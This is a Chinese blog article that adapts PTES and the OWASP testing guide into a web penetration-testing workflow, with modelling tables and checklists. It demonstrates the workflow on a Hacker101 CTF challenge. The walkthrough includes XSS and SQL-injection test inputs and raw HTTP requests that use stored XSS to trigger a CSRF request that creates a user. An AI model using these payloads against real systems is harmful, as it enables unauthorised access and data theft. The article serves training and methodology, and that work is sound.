浅谈 Web 渗透测试
在我的上一篇文章 OWASP 安全测试指南解读 中, 我解读了 OWASP 的 Web 渗透测试方法论。 方法论总是高高在上, 本篇文章我想谈谈 渗透测试人员怎么结合 OWASP 测试方法论 和 PTES 把渗透测试落地执行。
本文包括 背景介绍,Web 渗透测试方法构想,Web渗透测试实例 三个章节,其中背景介绍解读了漏洞挖掘和渗透测试两个概念,Web 渗透测试方法构想描述了结合 OWASP 测试方法论 和 PTES 把渗透测试落地的理论部分,Web渗透测试实例则是用实际案例来演示第二章的构想。
背景介绍
本章主要介绍我对 渗透测试 和 漏洞挖掘 这两个概念的理解。
笔者因为工作原因, 能接触到一些国内外乙方安全公司的渗透测试报告。
在看过多份不同乙方公司提供的渗透测试报告后, 简单的说大概会有这么几类
- 只提供一份测试报告, 报告主体内容是 漏洞列表, 漏洞详情
- 提供简单的 checklist, 一般是以附录的形式写在测试报告中
- 提供来测试计划, 以及测试报告
对于不是很懂渗透测试的甲方来说, 渗透测试的目标是发现漏洞, 上述三类报告似乎并无太大差别。
实际上并不是这样的, 一个有组织的渗透测试, 报告的内容可以非常丰富。
漏洞挖掘
漏洞挖掘 是以漏洞为导向, 每年大量的 CVE 就是漏洞挖掘的结果, 比如打 CTF 也是漏洞挖掘及利用的过程。毫无疑问 漏洞挖掘能力 能表现安全人员的技能水平。
举个例子来说, 假设某天 xxx SRC 发布一个公告, 中低危漏洞不再收录, 只收高危及以上。你作为一个白帽子, 像用户名暴破这样的漏洞看都不看就跳过, 但是如果你是在做渗透测试, 就不能这么轻易的忽略这些漏洞。
那种只提供漏洞列表和详情的测试报告,可以猜测就是采用漏洞挖掘模式,这种模式对于乙方来说会稍微轻松一点,毕竟只要报告中有漏洞就可以交差了。
渗透测试
根据PTES,渗透测试包含了两个阶段,一个是 漏洞分析,一个是 漏洞利用
我们平时都是把Vulnerability翻译为漏洞,实际上,我认为这个词翻译为脆弱点会更合适些。
渗透测试更侧重过程及方法, 测试结果只是过程的产物。总体而言, 渗透测试的目标是通过结构化的方法, 定位系统存在的所有脆弱点(Vulnerability),并尝试去利用这些脆弱点,最终评估这些脆弱点对系统可能造成的风险.
如果是 漏洞评估 找到脆弱点就结束了。但如果是 渗透测试 还需要对这些脆弱点进行进一步利用, 甚至是留后门, 清除痕迹等。也就是 PTES 里说的 Exploitation 和 Post Exploitation 这两个过程。
所以任何的脆弱点在测试范围之内都不能被漏掉的, 小到敏感信息明文传输, 用户名暴破, 路径信息泄漏, 大到 SQL 注入, 认证绕过, 越权等等。
测试报告如果只报告 XSS可以弹窗 这样的漏洞, 只能算是漏洞评估的结果, 如果没有利用XSS进行实际利用, 都不能称作渗透测试。什么是利用, 比如利用xss攻击窃取Cookie, 再利用Cookie登录系统。
个人看法
我个人认为 渗透测试和漏洞挖掘的关系 互相不是充分条件。就是说一个人很懂渗透测试工程方法, 不一定很会挖漏洞。一个很会挖漏洞的人也不一定能做好渗透测试。
但总体而言, 漏洞挖掘的门槛比渗透测试方法会更高。一个优秀的 CTFer, 应该可以很快掌握渗透测试的精髓, 反之一个人精通渗透测试方法论, 不一定能快速掌握漏洞挖掘技巧。
引用 PTES 里对渗透测试的概括
Remember, a penetration test should not be confrontational. It should not be an activity to see if the tester can “hack” you. It should be about identifying the business risk associated with and attack.
顺便讲个有趣的事情, 笔者有个朋友之前一直在 wooyun 挖漏洞, 后来还想成立一个 乙方渗透团队 去接渗透测试的活。后来说是 和甲方就酬劳问题达不成共识而作罢。
其实我在想 乙方团队可以以两种模式和甲方谈判。
模式一 漏洞挖掘模式 以漏洞计价, 严重, 高危, 中危, 低危 分别多少钱
模式二 渗透测试模式 制定渗透测试计划, 输出 checklist, 漏洞报告, 威胁建模报告等
在我看来 模式一 对乙方团队来说, 多劳多得, 压力也会小些。模式二 更花时间精力, 资费应该更贵。
结果也很明显, 业界更倾向于模式一, 要么自己建立 SRC, 收漏洞, 根据漏洞危害等级付相应酬劳。要么和大的白帽平台合作, 在这些平台上发起众测。
模式二真正的问题是甲方怎么样才能信任乙方团队, 一方面乙方团队有没有这个能力来接渗透测试的任务。另一方面 如何保证乙方团队不泄露甲方数据。
我个人觉得模式二对乙方更有价值, 很多小型公司没有足够资金预算投入人力做安全。可以雇佣 安全团队 做风险评估/渗透测试等。 PTaaS(PenTest as a Service)理论上还是蛮好的。类似于CA证书模式, 一个中立的非营利PT(Penetration)机构, 对乙方团队进行认证。甲方信任PT机构, 所以信任拥有该机构颁发的PT证书的乙方团队。
Web 渗透测试方法构想
本章 以 PTES见参考文献[1]和 OWASP 测试指南见参考文献[2] 为基础, 构建我的 Web 渗透测试落地方法
PTES 简介
可能有些读者不了解 PTES, 这里我做非常简单的介绍
PTES 全称是 penetration testing execution standard, 也就是渗透测试执行标准。该标准定义来渗透测试的流程及内容, 分为七个部分
- Pre-engagement Interactions 前期交互
- Intelligence Gathering 信息收集
- Threat Modeling 威胁建模
- Vulnerability Analysis 漏洞分析
- Exploitation 渗透利用
- Post Exploitation 后渗透
- Reporting 报告
这七个部分覆盖了渗透测试从开始到结束的完整流程。可以说这是渗透测试从业者不得不看的一套渗透测试方法。有兴趣的读者请查阅参考文献[1]
Web “PTES”
我适当调整了 PTES, 让这个标准结合 OWASP 测试指南, 落地在渗透测试过程
- Pre-engagement Interactions 前期交互
- Intelligence Gathering 信息收集
- Vulnerability Modeling 漏洞建模
- Vulnerability Analysis 漏洞分析
- Exploitation 渗透利用
- Reporting 报告
威胁建模可以利用 STRIDE 模型, 攻击树, 攻击库建模, 这些对于一个“敏捷”的渗透测试来说 过于抽象了些。所以我把它改为漏洞建模。
前期交互
前期交互的核心是 范围和目标。范围是指测试覆盖的范围, 涉及到的资产服务器, 域名/ip, 数据库 等等。
目标的话, PTES 也给来很清晰的介绍
Every penetration test should be goal-oriented. This is to say that the purpose of the test is to identify specific vulnerabilities that lead to a compromise of the business or mission objectives of the customer. It is not about finding un-patched systems. It is about identifying risk that will adversely impact the organization.
比如甲方的诉求是要确保 数据库 不会被拖库, 或者要求 xxx 域名的 web 服务不会受拒绝服务攻击影响, 等等。就像老师常说的, 带着问题去看书。这里是带着目标去测试。
输出件根据 测试范围, 测试目标, 测试时间/进程安排等 整理出测试计划文档
信息收集
信息收集覆盖渗透测试的所有环节, 收集的信息越丰富, 渗透测试相对而言就会越顺利。相关内容网络上非常多, 在此不再赘述。
漏洞建模
把每一个唯一的 HTTP 路径认为是一个接口
比如
GET /main/asdf
POST /subproc/fdsa
{xxx=xyz}
PUT /upload/tmpfile
file=fake content
漏洞建模也是以 Web 路径 为一个维度, 以 Web 漏洞类型为另一个维度, 建立一个二维矩阵
表 1 一级 Web 漏洞建模
类型\路径 | /main/asdf | /subproc/fdsa | /upload/tmpfile |
---|---|---|---|
认证 | * | / | * |
授权 | / | * | * |
输入检测 | / | * | * |
错误管理 | * | * | * |
业务逻辑 | / | / | * |
加解密 | / | * | / |
(‘/’表示 不涉及, ‘*’表示 涉及)
表 2 二级 Web 漏洞建模
以输入检测为例,进行二级建模
类型\URI | /main/asdf | /subproc/fdsa | /upload/tmpfile |
---|---|---|---|
xss | / | * | - |
SQL inj | / | * | - |
LDAP inj | / | - | - |
XML inj | / | * | * |
LFI | / | - | * |
RFL | / | - | * |
CMD inj | / | * | * |
Buffer overflow | / | / | * |
Format string | / | / | / |
unserialize | / | / | / |
那么有个疑问是,我没开始测之前,我怎么知道要不要打,比如“Buffer overflow”我怎么知道那个接口要打“”,哪些接口不要。
我的建议是,如果你不确定要不要打,就默认打“*”,等你对系统更加了解之后,也许凭借你的经验,可以快速定位哪里需要打 “*”
最终把二级建模的所有打“*”的项目整理出来,输出漏洞 Checklist
输出件:漏洞 Checklist
漏洞分析
利用漏洞挖掘技能,各种奇技淫巧,去分析上一步 输出的漏洞 Checklist 是否真实存在漏洞。
这个过程区别与 漏洞建模的是,需要确定测试用例, 比如“POST /subproc/fdsa”可能存在 SQL inj 漏洞,测试人员要 手工/半自动化工具 去检测是否真实存在漏洞,整理出测试用例
比如
POST /subproc/fdsa
{xxx=xyz}
测试人员输出测试用例如下
表 3 测试用例
用例编号 | 用例描述 | 执行结果 | 结论 | |
---|---|---|---|---|
InpV-SQLI-1 | 在 URI /subproc/fdsa 中注入引号 | 返回 404 | PASS | / |
InpV-SQLI-2 | 在 Data {xxx=xyz} key xxx 注入引号 | 返回 404 | PASS | / |
InpV-SQLI-3 | 在 Data {xxx=xyz} key xxx 的 value 字段注入引号 | 返回异常结果 | FAIL | / |
InpV-SQLI-4 | 用 sqlmap 跑 key xxx 的 value 字段 | 能跑出表名 | FAIL |
表 4 漏洞列表
漏洞编号 | 漏洞名称 | 漏洞描述 |
---|---|---|
1 | SQL 注入 | POST /subproc/fdsa {xxx=xyz}的 xxx 键值对的“值”字段存在字符型 SQL 注入,可用 sqlmap 跑出数据库和表名 |
输出件:漏洞列表,测试用例
渗透利用
输出漏洞列表, 漏洞分析环节就结束了, 一般在甲方也就点到为止, 不再继续做利用。这也是可以理解的, 甲方只需要有 SQL 注入就够了。
而如果要继续进行利用, 可能会是 SQL 注入获取系统 shell 执行, 或者利用 SQL 注入写文件, 获取 Webshell, 或者爬取数据库, 能发现敏感的特权账户, 进而利用特权账户登陆系统等等。
那岂不是漏洞分析就完全够了吗, 为什么还要利用呢
这要看具体的场景, 如果甲方在产品中有部署防火墙, WAF 等, 甲方想知道在这种环境下, 即使有 SQL 注入漏洞, 能造成什么危害。是不是 WAF 能识别所有攻击行为。虽然有漏洞也是安全的。还是说可能有多个漏洞串联造成大危害。这些都是漏洞分析不会去做的。所以这也是为什么 渗透测试的价格会比漏洞分析更贵的本质原因。
测试报告
输出只包含漏洞列表的渗透测试报告 是非常不负责任的。
一方面这可能根本谈不上渗透测试, 最多只能说是漏洞分析报告
另一方面甲方很难根据只有漏洞列表的报告得到产品安全或者不安全的结论
完整的渗透测试应该输出以下交付件
输出件: 测试计划文档一份, 漏洞 Checklist 一份, 与 checklist 及测试范围匹配的 测试用例一份, 包含漏洞详情的测试报告一份
Web渗透测试实例
上面谈了这么多理论上的思路。本章我想利用一个案例来展示上述流程中的 漏洞建模, 漏洞分析以及漏洞利用
以 HackerOne 的 CTF 第 8/9 题为目标, 对目标进行渗透测试。见参考文献[3]
HackerOne 是一个国外非常流行的众测平台, 而如果想在这个众测平台挖漏洞赚钱, 得先去 CTF 演练场答题挣积分, 积累 26 积分才能有一个邀请码。
本次以 8/9 题Ticketastic: Demo Instance/Ticketastic: Live Instance为测试目标, 演示如果利用上述的 Web PTES 进行渗透测试。
前期交互
测试范围:http://35.190.155.168/b9b2ddf96c/
测试目标:用户数据库
信息收集
接口: /newTicket, /login, /admin, /ticket, /newUser
漏洞建模
根据经验, 在认证, 会话管理, 授权, 输入检测几个方向最可能出问题, 所以本次仅针对这些方向进行测试
表 5 一级漏洞建模
/newTicket | /login | /admin | /ticket | /newUser | |
---|---|---|---|---|---|
认证 | / | * | / | / | / |
会话管理 | / | * | * | * | * |
授权 | / | / | * | * | * |
输入检测 | * | * | / | * | * |
表 6 输入检测 二级漏洞建模
/newTicket | /login | /admin | /ticket | /newUser | |
---|---|---|---|---|---|
OTG-INPVAL-002 XSS | * | * | / | * | * |
OTG-INPVAL-005 SQL inj | * | * | / | * | * |
OTG-INPVAL-013 CMD inj | / | / | / | / | / |
表 7 认证/会话管理/授权 二级漏洞建模
/newTicket | /login | /admin | /ticket | /newUser | |
---|---|---|---|---|---|
OTG-AUTHN-001 Encrypted Channel | / | * | / | / | / |
OTG-AUTHN-002 default credentials | / | * | / | / | / |
OTG-AUTHN-004 bypass authentication | / | * | / | / | / |
OTG-SESS-002 Cookie attributes | / | * | / | / | / |
OTG-SESS-003 Session Fixation | / | * | / | / | / |
OTG-SESS-005 CSRF | / | / | * | / | / |
OTG-AUTHZ-002 bypass authorization | / | / | * | * | * |
表 8 漏洞 Checklist
接口 | 安全漏洞 |
---|---|
/newTicket | XSS |
/newTicket | SQL inj |
/login | XSS |
/login | SQL inj |
/login | Encrypted Channel |
/login | default credentials |
/login | bypass authentication |
/login | Cookie attributes |
/login | Session Fixation |
/admin | CSRF |
/admin | bypass authorization |
/ticket | XSS |
/ticket | SQL inj |
/ticket | bypass authorization |
/newUser | XSS |
/newUser | SQL inj |
/newUser | bypass authorization |
漏洞分析
对 漏洞 Checklist 进行逐个漏洞分析排查,排查过程中,整理测试用例
表 9 测试用例
用例编号 | 用例描述 | 执行结果 | 结论 |
---|---|---|---|
newTicket-1 | 把 POST 数据改为 title=a<script>alert(1)</script>&body=b<script>alert(1)</script> | 登陆 admin,能弹窗 | FAIL |
newTicket-2 | 把 POST 数据改为 title=a‘&body=b’ | 登陆 admin,无异常 | PASS |
newTicket-3 | 把 POST 数据改为 title=a&body=b’放到 sqlmap 跑 | 未发现注入到 | PASS |
login-1 | 查看 cookie 属性 | cookie 没有设置 http only 和 secure 属性 | FAIL |
。。。 | 。。。 | 。。。 | 。。。 |
login-x | 暴破用户名和密码,使用常用的用户名密码 top10000 进行暴破 | 可暴破发现 admin 账户,未成功暴破密码 | FAIL |
admin-1 | 构造 csrf 页面,让 admin 添加用户 | 存在 CSRF 漏洞 | FAIL |
。。。 | 。。。 | 。。。 | 。。。 |
经过上述的测试用例执行之后,输出漏洞列表
表 10 漏洞列表
漏洞编号 | 漏洞名称 | 漏洞描述 |
---|---|---|
1 | newTicket 存储型 XSS | newTicket 在 POST 数据时,可注入 xss 代码,并被触发执行 |
2 | login 用户名枚举 | 可以通过字典枚举用户名,发现默认用户名 admin |
3 | login 密码暴破 | 无锁定机制,可以通过字典暴破密码,字典中未发现密码 |
。。。 | 。。。 | 。。。 |
x | ticket 接口 id 存在 sql 注入漏洞 | 输入 ticket?id=2‘ 返回报错 cur.execute(‘SELECT title, body, reply FROM tickets WHERE id=%s’ % request.args[‘id’]) |
。。。 | 。。。 | 。。。 |
渗透利用
执行 漏洞分析 过程之后, 掌握多个漏洞之后, 就要利用这些漏洞, 可能是单个漏洞的利用, 也可能是组合利用
为来达成 测试目标“用户数据库”, 构建以下攻击思路
以管理员凭证登陆系统, 并利用 SQL 注入漏洞拖库, SQL 注入点已找到, 关键在于怎么获取管理员凭证
- 思路 1: 破解 session
- 思路 2: 通过 xss 窃取 cookie
- 思路 3: 通过 CSRF 添加账户
- 思路 4: 暴力破解密码
经过 session 的 base64 解码, session 的前一部分是{“user”:”admin”}, 但后一部分乱码, 无思路。
暴力破解也是下下策, 毕竟如果用 top10000 的字典跑不出来, 不是这个解题方向。
通过 xss 窃取 cookie 和 CSRF 添加账户均可行。可因为 hackerOne CTF 环境限制, xss 窃取 cookie 无法成功。最后可以试试 CSRF
通过漏洞 1 newTicket 存储型 XSS 注入<img src='newUser?username=pter&password=admin123&password2=admin123'>
这样当 admin 访问 ticket 页面时, 会触发 CSRF, 添加一个新用户 pter, 密码为 admin123
我尝试了以下几个Payload
# payload 1
POST /b9b2ddf96c/newTicket HTTP/1.1
Host: 35.190.155.168
...
title=xx<img src="/newUser?username=pter1%26password=admin123%26password2=admin123">&body=xx<img src="/newUser?username=pter1%26password=admin123%26password2=admin123">
# paylod 2
POST /b9b2ddf96c/newTicket HTTP/1.1
Host: 35.190.155.168
...
title=xx<img src="http://35.190.155.168/b9b2ddf96c/newUser?username=pter1%26password=admin123%26password2=admin123">&body=xx<img src="http://35.190.155.168/b9b2ddf96c/newUser?username=pter1%26password=admin123%26password2=admin123">
都没有成功,所以本题我也没解出来,导致两个 FLAG 都拿不到。
网上查了些 Writeup,发现以下 payload 可行
POST /b9b2ddf96c/newTicket HTTP/1.1
Host: 35.190.155.168
...
title=xx<img src="http://localhost/newUser?username=pter1%26password=admin123%26password2=admin123">&body=xx<img src="http://localhost/newUser?username=pter1%26password=admin123%26password2=admin123">
其实这个 localhost 也是有线索的,就是在 demo 环境,利用 payload1,admin 登陆后,源代码里会显示。CTF 经验还是不够。
报告
走到这一步是不是叹了一口气, 完整做下来, 工作量还是非常多的。从漏洞建模, 到漏洞分析, 漏洞利用, 这些过程都要投入大量时间, 对甲方来说, 这些过程输出的中间件都是非常宝贵的资料。
交付件分别有:
- 测试计划文档
- 漏洞建模表, 及漏洞 Checklist
- 测试用例, 漏洞列表
- 测试报告 也可以把 上述表格/用例整合到测试报告中。但是测试计划建议单独一份文档
上面这些过程中, 每个过程都和操作者强相关。不同的人, 在漏洞建模环节会输出不同的漏洞 checklist, 会写出不同的用例, 会得到不同的漏洞列表。所以这套渗透测试落地方法只是描述了渗透测试可以怎么做,但是没有描述怎么才能把它做好。
想做好渗透测试,漏洞挖掘能力是必不可少的,这也是面试的关键点。要练习漏洞挖掘能力,可以通过以下途径:参加众测,挖SRC,挖CVE,CNVD/CNNVD,靶机练习等等。
以上就是我个人对 Web 渗透测试执行的一些想法。到这里差不多就结束了。其实我用这个环境也只是想演示渗透测试流程, 不是 CTF 教程。所以 GAME OVER.
因笔者水平有限, 文章难免会有错误, 欢迎读者批评指正。笔者个人邮箱kafrocyang@gmail.com
参考文献
[1]ptms
[2]owasp测试指南
[3]https://ctf.hacker101.com/ctf